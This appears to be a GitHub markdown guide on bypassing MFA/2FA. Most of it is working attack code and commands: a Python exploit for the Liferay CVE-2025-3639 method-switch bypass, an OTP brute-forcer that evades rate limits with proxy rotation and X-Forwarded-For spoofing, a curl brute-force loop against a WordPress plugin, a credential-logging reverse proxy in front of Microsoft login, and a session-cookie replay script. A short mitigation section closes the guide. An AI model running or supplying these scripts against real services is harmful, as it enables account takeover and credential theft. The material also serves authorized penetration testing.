Skip to content

Latest commit

 

History

History
864 lines (637 loc) · 29.5 KB

File metadata and controls

864 lines (637 loc) · 29.5 KB

Complete Methodology for MFA/2FA Exploitation


Table of Contents

  1. Understanding MFA/2FA Attack Surfaces
  2. Required Tools and Setup
  3. Exploitation Methodology 1: HTTP Method Manipulation
  4. Exploitation Methodology 2: Rate Limiting and Brute Force
  5. Exploitation Methodology 3: Session and Path Bypass
  6. Exploitation Methodology 4: Adversary-in-the-Middle (AiTM) Attacks
  7. Exploitation Methodology 5: Response Manipulation
  8. Exploitation Methodology 6: Social Engineering and Phishing
  9. Automated Testing with Selenium and Burp Suite
  10. Detection and Mitigation

Understanding MFA/2FA Attack Surfaces

Before diving into exploitation, it is critical to understand that MFA can be implemented in various ways :

Factor Type Examples Common Weaknesses
Something You Know Passwords, PINs Phishing, reuse, breaches
Something You Have TOTP apps, SMS, hardware tokens SIM swapping, proxy attacks, theft
Something You Are Biometrics Spoofing, database breaches
Location IP ranges, geolocation Header spoofing, VPNs

Most web applications use Time-based One-Time Passwords (TOTP) delivered via authenticator apps, SMS, or email. Each method has distinct attack vectors .


Required Tools and Setup

Essential Tools

Tool Purpose
Burp Suite Professional Intercepting proxy, Intruder for brute force, Repeater for manual testing
Python 3 Custom exploit scripts
Selenium Browser automation for testing
Wireshark Network traffic analysis
Mailosaur Automated OTP capture from SMS/email
Stepper Burp Suite extension for session management with MFA

Burp Suite Configuration for MFA Testing

When testing applications with MFA, Burp Suite's recorded login sequences have specific limitations :

  • Compatible with TOTP MFA and WebAuthn
  • Not compatible with CAPTCHA (by design)
  • May trigger anti-robot measures on repeated logins

Best practices for recording MFA logins in Burp Suite :

  1. Wait for pages and elements to load completely before performing actions
  2. Use mouse clicks rather than keyboard shortcuts for all interactions
  3. Configure the status checker with a URL that reliably shows authenticated state
  4. Select confirmation text that only appears when logged in (e.g., "Welcome back, username")

Exploitation Methodology 1: HTTP Method Manipulation

Overview

This technique exploits improper HTTP method validation on authentication endpoints. When an application expects POST requests for login but accepts GET requests, the MFA verification step may be completely bypassed .

Real-World Example: CVE-2025-3639 - Liferay Portal/DXP

Vulnerability Details: An unauthenticated user with valid credentials can bypass MFA by converting a POST request to a GET request .

Affected Versions:

  • Liferay Portal 7.3.0 through 7.4.3.132
  • Liferay DXP 2024.Q1.1 through 2025.Q1.6

Step-by-Step Exploitation

Step 1: Capture the Login Request

Intercept the normal login POST request using Burp Suite:

POST /login HTTP/1.1
Host: target.liferay.com
Content-Type: application/x-www-form-urlencoded

username=test@example.com&password=Test123!&mfa_code=123456

Step 2: Modify the HTTP Method

Change the POST method to GET and remove the MFA code parameter:

GET /login?username=test@example.com&password=Test123! HTTP/1.1
Host: target.liferay.com

Step 3: Send the Request

If successful, the server returns a valid session token without requiring the MFA code.

Complete Python Exploit Script

#!/usr/bin/env python3
# CVE-2025-3639 PoC - Liferay MFA Bypass via HTTP Method Conversion
# For educational and authorized testing only

import requests
import sys
import argparse

def exploit_mfa_bypass(target_url, username, password):
    """
    Exploits CVE-2025-3639 to bypass MFA by converting POST to GET
    """
    
    # Construct the GET request with credentials in URL parameters
    login_endpoint = f"{target_url}/login"
    params = {
        "username": username,
        "password": password
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
    }
    
    try:
        # Send GET request instead of POST
        response = requests.get(login_endpoint, params=params, headers=headers, allow_redirects=False)
        
        # Check for successful authentication
        if response.status_code == 302 and "Set-Cookie" in response.headers:
            print(f"[+] SUCCESS: MFA bypassed!")
            print(f"[+] Session cookie: {response.headers.get('Set-Cookie', 'Not found')}")
            return response.cookies
            
        elif response.status_code == 200 and "dashboard" in response.text.lower():
            print(f"[+] SUCCESS: Logged in without MFA")
            return response.cookies
            
        else:
            print(f"[-] Failed to bypass MFA. Status code: {response.status_code}")
            return None
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")
        return None

def verify_session(target_url, session_cookies):
    """Verify that the session has authenticated access"""
    profile_endpoint = f"{target_url}/api/jsonws/user/get-current-user"
    
    response = requests.get(profile_endpoint, cookies=session_cookies)
    
    if response.status_code == 200:
        print(f"[+] Verified: Authenticated access to user data")
        print(f"[+] Response: {response.text[:200]}")
    else:
        print(f"[-] Session verification failed")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-3639 MFA Bypass PoC")
    parser.add_argument("--target", required=True, help="Target URL (e.g., http://example.com)")
    parser.add_argument("--username", required=True, help="Valid username")
    parser.add_argument("--password", required=True, help="Valid password")
    
    args = parser.parse_args()
    
    print("[*] Attempting MFA bypass via HTTP method conversion")
    print(f"[*] Target: {args.target}")
    print(f"[*] Username: {args.username}")
    
    session = exploit_mfa_bypass(args.target, args.username, args.password)
    
    if session:
        verify_session(args.target, session)
    else:
        print("[!] Target may not be vulnerable or MFA is properly enforced")

Testing with Burp Suite

  1. Navigate to the login page with Burp proxy enabled
  2. Submit valid credentials without the MFA code
  3. Send the POST request to Repeater (Ctrl+R)
  4. Change the request method from POST to GET
  5. Move credentials from body to URL parameters if needed
  6. Send the request and examine the response

Indicators of vulnerability:

  • HTTP 302 redirect to authenticated area
  • Session cookie set in response
  • Direct access to /dashboard or /profile endpoints

Mitigation

  • Implement strict HTTP method validation on authentication endpoints
  • Reject GET requests for login operations
  • Apply patches: Liferay Portal 7.4.3.133+, DXP update 93+

Exploitation Methodology 2: Rate Limiting and Brute Force

Overview

When MFA endpoints lack rate limiting, attackers can brute-force OTP codes. Six-digit numeric codes have only 1,000,000 possibilities, making them vulnerable to automated attacks .

Success Rate Calculations

According to OWASP, the success rate for brute-forcing TOTP codes depends on how many codes are accepted :

Valid Codes Accepted Success after 1 hour Success after 24 hours
1 (current only) 4% 58%
3 (previous, current, next) 10% 92%
5 codes 16% 99%

Step-by-Step Exploitation with Burp Suite Intruder

Step 1: Capture the OTP Verification Request

POST /api/verify-2fa HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{"otp_code": "000000", "user_id": "12345"}

Step 2: Configure Burp Intruder

  1. Send the request to Intruder (Ctrl+I)
  2. Clear default payload positions
  3. Highlight the OTP value (000000) and click "Add §"
  4. Go to Payloads tab
  5. Select payload type: "Numbers"
  6. Configure: From 0, To 999999, Step 1, Format: 06 digits

Step 3: Configure Attack Settings

  1. Resource pool: Set "Maximum concurrent requests" to 1 (avoid lockouts)
  2. Attack options: Add delay between requests (500-1000ms)

Step 4: Look for Success Indicators

Monitor responses for:

  • Status code change (302 vs 401)
  • Response length difference
  • Different JSON response ({"success": true})
  • Redirect to authenticated endpoint

Python Brute Force Script with Rate Limiting Bypass

#!/usr/bin/env python3
# OTP Brute Force Script with Rate Limiting Bypass Techniques

import requests
import time
import threading
from queue import Queue
import itertools

class OTPScanner:
    def __init__(self, target_url, session_cookie, user_id):
        self.target_url = target_url
        self.session = requests.Session()
        self.session.cookies.set("session", session_cookie)
        self.user_id = user_id
        self.results = Queue()
        
    def try_otp(self, otp_code):
        """Attempt a single OTP code"""
        headers = {
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        
        payload = {
            "otp_code": f"{otp_code:06d}",
            "user_id": self.user_id
        }
        
        try:
            response = self.session.post(
                f"{self.target_url}/api/verify-2fa",
                json=payload,
                headers=headers,
                timeout=5
            )
            
            # Check for successful authentication
            if response.status_code == 302:
                return True, otp_code
            if response.status_code == 200 and "success" in response.text.lower():
                if "true" in response.text.lower():
                    return True, otp_code
                    
            return False, None
            
        except Exception as e:
            print(f"[-] Error testing OTP {otp_code:06d}: {e}")
            return False, None
    
    def brute_force_range(self, start, end, rate_limit_delay=1):
        """Brute force a range of OTP codes with delay"""
        for otp in range(start, end):
            success, code = self.try_otp(otp)
            if success:
                print(f"\n[+] VALID OTP FOUND: {code:06d}")
                self.results.put(code)
                return True
                
            if otp % 100 == 0:
                print(f"[*] Attempted {otp} codes...")
                
            time.sleep(rate_limit_delay)  # Respect rate limits
            
        return False
    
    def ip_rotation_attack(self, proxy_list, otp_range=(0, 10000)):
        """Bypass IP-based rate limiting by rotating proxies"""
        
        for proxy in proxy_list:
            self.session.proxies = {
                "http": proxy,
                "https": proxy
            }
            
            print(f"[*] Trying with proxy: {proxy}")
            success = self.brute_force_range(otp_range[0], otp_range[1], rate_limit_delay=0.5)
            
            if success:
                return True
                
        return False
    
    def x_forwarded_for_bypass(self, otp_code):
        """Bypass rate limiting using X-Forwarded-For header"""
        
        # Generate random IP addresses for each attempt
        import random
        
        random_ip = f"{random.randint(1,255)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,255)}"
        
        headers = {
            "X-Forwarded-For": random_ip,
            "X-Real-IP": random_ip,
            "Client-IP": random_ip
        }
        
        payload = {"otp_code": f"{otp_code:06d}", "user_id": self.user_id}
        
        response = self.session.post(
            f"{self.target_url}/api/verify-2fa",
            json=payload,
            headers=headers
        )
        
        return response

# Example usage
if __name__ == "__main__":
    scanner = OTPScanner("https://target.com", "session_cookie_value", "user_123")
    
    # Test single OTP
    scanner.try_otp(123456)
    
    # Brute force range 000000-009999
    scanner.brute_force_range(0, 10000, rate_limit_delay=0.5)

Real-World Example: WordPress Digits Plugin (CVE-2025-4094)

The Digits plugin for WordPress (versions prior to 8.4.6.1) was vulnerable to OTP brute-force attacks due to missing rate limiting . Attackers could bypass authentication by iterating over possible OTP values using the following approach:

# Using curl in a loop
for otp in {0000..9999}; do
    curl -X POST https://target.com/wp-admin/admin-ajax.php \
        -d "login_digt_countrycode=+" \
        -d "digits_phone=000000000" \
        -d "sms_otp=$otp" \
        -d "action=digits_forms_ajax" \
        -d "type=forgot" | grep -q "success" && echo "OTP FOUND: $otp"
done

Exploitation Methodology 3: Session and Path Bypass

Overview

When MFA verification is only enforced on specific pages but not on subsequent authenticated endpoints, attackers can bypass the verification step entirely by directly accessing protected resources.

Step-by-Step Exploitation

Step 1: Map the Authentication Flow

Identify the sequence of endpoints in the authentication process:

/login (username/password)
    ↓
/mfa-verify (OTP code entry)
    ↓
/dashboard (authenticated area)

Step 2: Attempt Direct Access

After submitting credentials but before entering MFA code, try to access authenticated endpoints directly:

# After initial login, capture the session cookie
# Then attempt to access protected endpoints without MFA

curl -X GET https://target.com/dashboard \
    -H "Cookie: session=abc123" \
    -H "User-Agent: Mozilla/5.0"

Step 3: Test API Endpoints

API endpoints often have weaker MFA enforcement:

# Test API access without MFA
curl -X GET https://target.com/api/user/profile \
    -H "Authorization: Bearer abc123" \
    -H "X-User-ID: 12345"

Real-World Example: Cryptocurrency P2P Platform (2025)

During testing of a cryptocurrency P2P platform with over 2 million users, researchers discovered that 2FA was enforced only on the frontend - the backend never verified the OTP.

Attack Chain:

  1. Attacker logged in with compromised credentials
  2. Instead of entering MFA code, directly accessed payment method management endpoint
  3. Backend accepted the request without verifying MFA completion
  4. Attacker added their own bank details to victim's account
  5. Created sell orders from victim account
  6. Funds were transferred to attacker's bank account

Python script to test for this vulnerability:

def test_mfa_path_bypass(base_url, session_cookie):
    """
    Test if authenticated endpoints can be accessed without completing MFA
    """
    
    endpoints_to_test = [
        "/dashboard",
        "/api/user/profile",
        "/account/settings",
        "/api/transactions",
        "/payment-methods/add",
        "/withdraw"
    ]
    
    headers = {
        "Cookie": f"session={session_cookie}",
        "X-Requested-With": "XMLHttpRequest"
    }
    
    for endpoint in endpoints_to_test:
        response = requests.get(f"{base_url}{endpoint}", headers=headers)
        
        if response.status_code == 200:
            print(f"[!] VULNERABLE: {endpoint} accessible without MFA")
            # Check if sensitive data is exposed
            if "balance" in response.text or "email" in response.text:
                print(f"[CRITICAL] Sensitive data exposed at {endpoint}")
        elif response.status_code == 302 and "mfa" in response.headers.get("Location", ""):
            print(f"[SECURE] {endpoint} correctly redirects to MFA")
        else:
            print(f"[INFO] {endpoint} returned {response.status_code}")

Testing OAuth and Federated Login Bypasses

According to OWASP, when applications support both local and federated logins, MFA bypass may be possible if there is no strong separation between account types .

Test procedure:

  1. Register a local account with MFA enabled
  2. Link the same email to a federated provider (Google, Microsoft) without MFA
  3. Attempt to authenticate using the federated provider
  4. Check if MFA is still enforced

Burp Suite testing for OAuth flows:

# Intercept the OIDC authentication request
GET /auth/oauth2/login?provider=google&redirect_uri=/dashboard HTTP/1.1

# Attempt to tamper with the authentication flow parameter
GET /auth/oauth2/login?provider=google&flow=B2C_1_SignInWithoutMFA&redirect_uri=/dashboard HTTP/1.1

Exploitation Methodology 4: Adversary-in-the-Middle (AiTM) Attacks

Overview

AiTM attacks use a reverse proxy positioned between the victim and the legitimate service. The proxy captures credentials, MFA codes, and session tokens in real-time .

Real-World Example: Tycoon 2FA Phishing Platform

Tycoon 2FA was a Phishing-as-a-Service (PhaaS) platform that operated from August 2023 until its takedown in early 2026. At its peak, it accounted for approximately 62% of all phishing attempts blocked by Microsoft .

Platform Capabilities:

  • Cost: ~$120 USD per month via Telegram channels
  • Target: Microsoft 365 and Gmail accounts
  • Technique: Synchronous reverse proxy with real-time credential forwarding
  • Scale: Tens of millions of fraudulent emails, tens of thousands of confirmed victims

Technical Architecture

Victim → Phishing Site (Proxy) → Legitimate Service (Microsoft/Google)
                ↓                        ↓
          Harvested Credentials    Real-time MFA Relay
                ↓                        ↓
           Session Cookie Capture    Authentication Success

How to Test for AiTM Vulnerabilities

Step 1: Set Up a Test Proxy

Using tools like mitmproxy or custom Node.js proxy:

// Simple proxy server for testing (educational use only)
const http = require('http');
const https = require('https');

const proxy = http.createServer((clientReq, clientRes) => {
    console.log(`[${new Date().toISOString()}] ${clientReq.method} ${clientReq.url}`);
    
    // Log all request details
    let body = [];
    clientReq.on('data', chunk => body.push(chunk));
    clientReq.on('end', () => {
        body = Buffer.concat(body).toString();
        if (body) {
            console.log("[REQUEST BODY]", body);
        }
    });
    
    // Forward to legitimate service
    const options = {
        hostname: 'login.microsoftonline.com',
        path: clientReq.url,
        method: clientReq.method,
        headers: clientReq.headers
    };
    
    const proxyReq = https.request(options, (proxyRes) => {
        clientRes.writeHead(proxyRes.statusCode, proxyRes.headers);
        proxyRes.pipe(clientRes);
    });
    
    clientReq.pipe(proxyReq);
});

proxy.listen(8080, () => {
    console.log("Test proxy listening on port 8080");
});

Step 2: Detection Indicators

Organizations should monitor for :

  • SSL VPN logins originating from hosting provider IP addresses
  • OTP challenges followed immediately by successful logins (impossible timing)
  • Multiple authentication attempts from geographically distant locations

Advanced AiTM Evasion Techniques

The Tycoon 2FA platform used sophisticated evasion methods:

1. Invisible Unicode Obfuscation Malicious JavaScript was encoded using specific Unicode characters (Hangul Fillers), making it invisible to human eyes and standard text editors.

2. DOM Vanishing Act JavaScript executed in browser memory and then deleted its own code from the Document Object Model (DOM), leaving the page appearing benign to scanners.

3. Hybrid Operations (Salty-Tycoon) If primary infrastructure was compromised, attacks would pivot to alternate execution chains, providing "seamless failover" for attackers.

Session Cookie Replay Attack

Once an AiTM attack captures a session cookie, attackers can replay it to gain access :

def replay_session_cookie(target_url, session_cookie):
    """
    Replay a captured session cookie to access the account
    """
    headers = {
        "Cookie": session_cookie,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }
    
    response = requests.get(f"{target_url}/mail", headers=headers)
    
    if response.status_code == 200:
        print("[+] Session cookie is valid!")
        # Extract sensitive information
        if "Inbox" in response.text:
            print("[+] Access to email granted")
    else:
        print("[-] Session cookie expired or invalid")

Exploitation Methodology 5: Response Manipulation

Overview

Some applications rely on client-side validation of MFA, where the server sends a success/failure indicator that can be modified by an attacker.

HTTP Response Status Code Manipulation

Test procedure with Burp Suite:

  1. Submit an incorrect OTP code
  2. Intercept the response from the server
  3. If the response is a 401 Unauthorized, change it to 200 OK
  4. Forward the modified response to the browser
  5. Check if the application grants access based on the modified status code

Response Body Manipulation

Example vulnerable response:

{
    "mfa_verified": false,
    "message": "Invalid code",
    "redirect": "/mfa"
}

Modified response:

{
    "mfa_verified": true,
    "message": "Success",
    "redirect": "/dashboard"
}

Burp Suite Match and Replace Rule

To automate response manipulation:

  1. Go to Proxy → Options → Match and Replace
  2. Add a new rule:
    • Type: Response body
    • Match: "mfa_verified": false
    • Replace: "mfa_verified": true
    • Match condition: Regex (off)

Real-World Example: CVE-2025-56689 - One Identity Safeguard

One Identity Safeguard for Privileged Passwords Appliance 7.5.1.20903 was vulnerable to OTP bypass using response manipulation. Attackers who intercepted a valid OTP response could replay it to bypass verification .


Exploitation Methodology 6: Social Engineering and Phishing

MFA Fatigue Attacks

Also known as "MFA bombing" or "push spam," this technique involves repeatedly sending MFA push notifications to the victim until they approve out of frustration or confusion.

Attack flow:

  1. Attacker has victim's credentials
  2. Attacker initiates login, triggering push notification to victim's authenticator app
  3. Attacker repeats this 20-30 times in rapid succession
  4. Victim approves one notification to stop the notifications
  5. Attacker gains access

OTP Bypass via Phone Call Spoofing

SMSRanger and BloodOTPbot are automated bots that :

  1. Call the victim using social engineering scripts
  2. Claim to be from IT support or a legitimate service
  3. Ask the victim to read back the authentication code received via SMS
  4. Forward the code to the attacker in real-time

Real-World Example: Gmail App Password Attack (2025)

Russian hackers bypassed Google's MFA by posing as US Department of State officials .

Attack methodology:

  1. Attackers contacted targets posing as State Department representatives
  2. Communications were CC'd to fabricated @state.gov email addresses
  3. Victims received official-looking documents with instructions to register for an "MS DoS Guest Tenant" account
  4. Instructions required creating app-specific passwords (16-digit codes that bypass MFA)
  5. Victims believed they were creating app passwords for a secure government platform
  6. Instead, they gave attackers full access to their Google accounts

Targets: Prominent academics and critics of Russia Campaign duration: Several months


Automated Testing with Selenium and Burp Suite

Testing TOTP with Selenium and Mailosaur

Testing 2FA workflows can be automated using Selenium combined with a service like Mailosaur to capture OTP codes .

# Python example using Selenium and Mailosaur
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import mailosaur

def test_totp_login():
    # Initialize Mailosaur client
    client = mailosaur.MailosaurClient("YOUR_API_KEY")
    server_id = "YOUR_SERVER_ID"
    
    # Set up Selenium WebDriver
    driver = webdriver.Chrome()
    
    try:
        # Navigate to login page
        driver.get("https://target.com/login")
        
        # Enter username and password
        driver.find_element(By.ID, "username").send_keys("test@example.com")
        driver.find_element(By.ID, "password").send_keys("Test123!")
        driver.find_element(By.ID, "login-btn").click()
        
        # Wait for MFA page
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "mfa-code"))
        )
        
        # Retrieve OTP from SMS/Email using Mailosaur
        search_criteria = mailosaur.SearchCriteria()
        search_criteria.sent_to = "test-phone-number"
        
        sms = client.messages.get(server_id, search_criteria)
        otp_code = sms.text.codes[0].value
        
        # Enter OTP code
        driver.find_element(By.ID, "mfa-code").send_keys(otp_code)
        driver.find_element(By.ID, "verify-btn").click()
        
        # Verify successful login
        WebDriverWait(driver, 10).until(
            EC.presence_of_element_located((By.ID, "dashboard"))
        )
        
        print("[+] Test passed: Successfully logged in with 2FA")
        
    finally:
        driver.quit()

Automating Authenticated Scans in Burp Suite with MFA

According to security researcher Quentin Oternaud, testing applications with MFA and aggressive CSRF policies can be automated using Stepper and Google Authenticator .

Configuration steps:

  1. Define steps in Stepper to regenerate tokens and sessions
  2. Set up MFA code generation using authenticator app
  3. Create a sequence of requests that refresh sessions automatically
  4. Pass CSRF headers as variables between steps

Testing TOTP with Burp Suite's Recorded Login

Burp Suite supports recorded login sequences for TOTP MFA and WebAuthn :

Configuration best practices:

  1. Use mouse clicks for all interactions (avoid keyboard shortcuts)
  2. Wait for pages to load completely before next actions
  3. End the sequence on an authenticated page without clicking additional links
  4. Configure status checker with text that only appears for authenticated users

Detection and Mitigation

Detecting MFA Bypass Attempts

Monitor for these indicators :

Indicator Detection Method
Multiple OTP attempts Log analysis for failed verification attempts
OTP challenge followed by immediate success Timing analysis (impossible travel)
Login from hosting provider IPs IP reputation checks
GET requests to login endpoints HTTP method monitoring
Same OTP used multiple times Code reuse detection
Unusual X-Forwarded-For headers Header validation

Mitigation Strategies

For OTP implementations:

  • Implement strict rate limiting (5 attempts per 15 minutes)
  • Use exponential backoff for failed attempts
  • Lock account after 10 failed attempts
  • Require re-authentication for sensitive operations
  • Invalidate OTP after single use

For session management:

  • Invalidate all existing sessions when MFA is enabled
  • Bind sessions to multiple factors (IP, user agent, fingerprint)
  • Implement short session timeouts for MFA-protected accounts

For API security:

  • Validate HTTP methods on all authentication endpoints
  • Reject GET requests for authentication operations
  • Enforce MFA verification on every authenticated endpoint

For phishing resistance :

  • Use hardware security keys (FIDO2/WebAuthn) instead of OTP
  • Implement number matching in push notifications
  • Educate users to never share OTP codes
  • Block known malicious proxy IP ranges

Recommended Security Controls by MFA Type

MFA Method Security Level Recommended Controls
SMS OTP Low Avoid entirely
Email OTP Low Only for low-risk applications
TOTP (Authenticator App) Medium Rate limiting, single-use codes
Push Notification Medium-High Number matching, user education
Hardware Key (FIDO2) High Phishing-resistant, preferred
Passkeys High Synced across devices, phishing-resistant

References

  1. Hoxhunt - How hackers bypass multi-factor authentication (2026)
  2. PortSwigger - Best practice for recording login sequences (2026)
  3. GitHub - CVE-2025-3639 PoC - Liferay Portal/DXP Login Bypass
  4. Mailosaur - Automating two-factor authentication testing with Selenium (2025)
  5. Bitdefender - How hackers bypassed MFA with a $120 phishing kit (2026)
  6. Bridewell - The Rise and Fall of Tycoon 2FA (2026)
  7. LinkedIn - Automating authenticated scans in Burp Suite for 2FA applications
  8. Feedly - CVE-2025-3639 / exploit + patch (2025)
  9. OWASP - Testing Multi-Factor Authentication (WSTG-ATHN-11)
  10. PCrisk - Akira's MFA Bypass Trick Used On SonicWall VPNs (2025)